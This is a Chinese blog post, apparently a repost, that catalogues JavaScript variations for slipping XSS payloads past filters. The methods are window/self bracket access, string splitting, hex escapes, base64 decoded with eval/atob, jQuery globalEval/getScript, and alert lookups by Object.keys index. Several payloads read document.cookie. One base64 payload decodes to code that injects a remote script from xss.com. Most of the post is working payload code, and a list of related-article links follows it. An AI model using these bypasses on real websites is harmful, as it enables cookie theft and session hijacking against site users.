各种变异绕过XSS过滤器
各种变异绕过XSS过滤器(Various variations bypass the XSS filter )
文章来自:https://www.cnblogs.com/iAmSoScArEd/p/11287928.html 我超怕的
利用window等来操纵会被认为是全局变量 window.self 与self同样效果
1、window
window["document"]["cookie"] //代替document.cookie
2、window
window['alert'](["document"]["cookie"]); //代替 alert(document.cookie)
3、self
self["alert"]("123xss") ;//代替传统alert
4、注释
(/*hello*/self/*safe*/)[/*no*/"alert"/*alarm*/]("123xss") ;//代替传统alert
5、利用拼接( self替换成window同样效果)
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"]) ;//代替传统alert
6、利用十六进制( self替换成window同样效果)
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
) //alert(document.cookie)
7、利用BASE64( self替换成window同样效果)
self["\x65\x76\x61\x6c"]( //eval
self["\x61\x74\x6f\x62"]( //atob base-64解码方法,base-64 编码使用方法是 btoa()
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6Ly94c3MuY29tL3hzcy5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs=")
)//var head = document.getElementsByTagName('head').item(0);var script = document.createElement('script');script.setAttribute('type', 'text/javascript');script.setAttribute('src', 'http://xss.com/xss.js');head.appendChild(script);
8、利用JQuery
1) self["$"]["globalEval"]("alert(123)"); //alert(123)
2) self["\x24"](//$
self["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x64"]//globalEval
["\x61\x6c\x65\x72\x74\x28\x31\x32\x33\x29"] //alert(123)
)
3) self["$"]["getScript"](url). getScript //从url获取js脚本
9、利用Object.keys
a=0; for(i in self) { if(i == "alert") { console.log(a); } a++; } //获取alert在数组中的位置
self[Object.keys(self)[7]]("123") // 假设通过上述代码执行结果为7 执行效果:alert("123")
//如果不允许我们使用“alert”字符串,并且上面的方法都不能使用,
//我们如何找到“alert”索引号呢?JavaScript可以很好的解决这个难题。
//我们要做的就是为变量(a)分配一个函数,该函数迭代self并找到警报索引号。
//然后,我们可以使用test()来查找带有正则表达式的“alert”,如^a[rel]+t$: a = function() {
c=0;
for(i in self) {
if(/^a[rel]+t$/.test(i)) return c;
c++;
}
} a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
self[Object.keys(self)[a()]]("123") // alert("123")
以上思路来自 嘶吼。
各种变异绕过XSS过滤器的更多相关文章
- xss的变形--如何绕过xss过滤
我们可以通过构造xss代码进行各种变形,以绕过xss过滤器的检测 1.大小写检测 将payload进行大小写转化 如<Img SRC='#' Onerror="alert(/xss/ ...
- WAF指纹识别和XSS过滤器绕过技巧
[译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drop ...
- 基于黑名单的xss过滤器
/** * 类名称:AntiXssFilter * @version * 类描述:基于黑名单的xss过滤器 * @version * 创建人:xxx * @version * 创建时间:2015年11 ...
- Chrome和IE的xss过滤器分析总结
chrome的xss过滤器叫xssAuditor,类似IE的xssFilter,但是他们有很大的内在区别 chrome xssAuditor工作原理 chrome的xss检测名称为 xssAudito ...
- XSS过滤器的实现
一.XSS是什么 全称跨站脚本(cross site script)XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去.使别的用户访问 ...
- 跨站点脚本编制 - SpringBoot配置XSS过滤器(基于mica-xss)
1. 简介 XSS,即跨站脚本编制,英文为Cross Site Scripting.为了和CSS区分,命名为XSS. XSS是最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码 ...
- 跨站点脚本编制 - SpringBoot配置XSS过滤器(基于Jsoup)
1. 跨站点脚本编制 风险:可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务. 原因:未对用户输入正确执行危险字符清 ...
- 绕过XSS过滤姿势总结
0x01 弹窗关键字检测绕过 基本WAF都针对常用的弹窗函数做了拦截,如alert().prompt().confirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert( ...
- XSS之绕过WAF总结
来源<XSS跨站脚本攻击剖析与防御>&<WEB前端技术揭秘> 一.一般测试方法 步骤: 0.总则:见框就插 1.在输入框随便输入一些简单的字符,如 aaa,方便后续查找 ...
随机推荐
- docker 进程管理
详文:理解Docker容器的进程管理:https://yq.aliyun.com/articles/5545 在Docker中,每个Container都是Docker Daemon的子进程. dock ...
- Linux:读取文件,每行拆分,并比较拆分数组长度
读取文件,每行拆分,并比较拆分数组长度 #!/bin/bash FILENAME=./.txt function While_read_LINE(){ cat $FILENAME | while re ...
- NLP自然语言处理
转:https://blog.csdn.net/qq_17677907/article/details/86448214 1.有哪些文本表示模型,它们各有什么优缺点? 文本表示模型是研究如何表示文 ...
- 百度开源上传组件webuploader 可上传多文件并带有进度条
//上传多文件 function UploadMultiFile() { var uploader = WebUploader.create({ // 选完文件后,是否自动上传. auto: true ...
- 接口测试01- Jmeter-线程进程-环境变量
1.1 概念 JMeter 是 Apache 组织使用 Java 开发的一款测试工具 ,它最初被设计用于Web应用测试,但后来扩展到其他测试领域. 它可以用于测试静态和动态资源,例如静态文件.Java ...
- 查询dba_segmetns 异常慢,在11g 某个库里。
Encountering Slow Performance Reading *_SEGMENTS or *_TS_QUOTAS (文档 ID 1491748.1) 转到底部转到底部 In this D ...
- Django文档阅读之执行原始SQL查询
Django提供了两种执行原始SQL查询的方法:可以使用Manager.raw()来执行原始查询并返回模型实例,或者可以完全避免模型层直接执行自定义SQL. 每次编写原始SQL时都要关注防止SQL注入 ...
- Knockout.js之初印象
最近在学Knockout.js,想要把看到的东西用blog记录下来. Knockout.js是一个MVVM的框架,突然想起之前有人问我哪些是MVVM框架?我回答了angular.js和bootstra ...
- LeetCode 856. 括号的分数(Score of Parentheses)
856. 括号的分数 856. Score of Parentheses 题目描述 给定一个平衡括号字符串 S,按下述规则计算该字符串的分数: () 得 1 分. AB 得 A + B 分,其中 A ...
- Netty 面试题解析
1.Netty 是什么? Netty 是一款基于 NIO(Nonblocking I/O,非阻塞IO)开发的网络通信框架,对比于 BIO(Blocking I/O,阻塞IO),他的并发性能得到了很大提 ...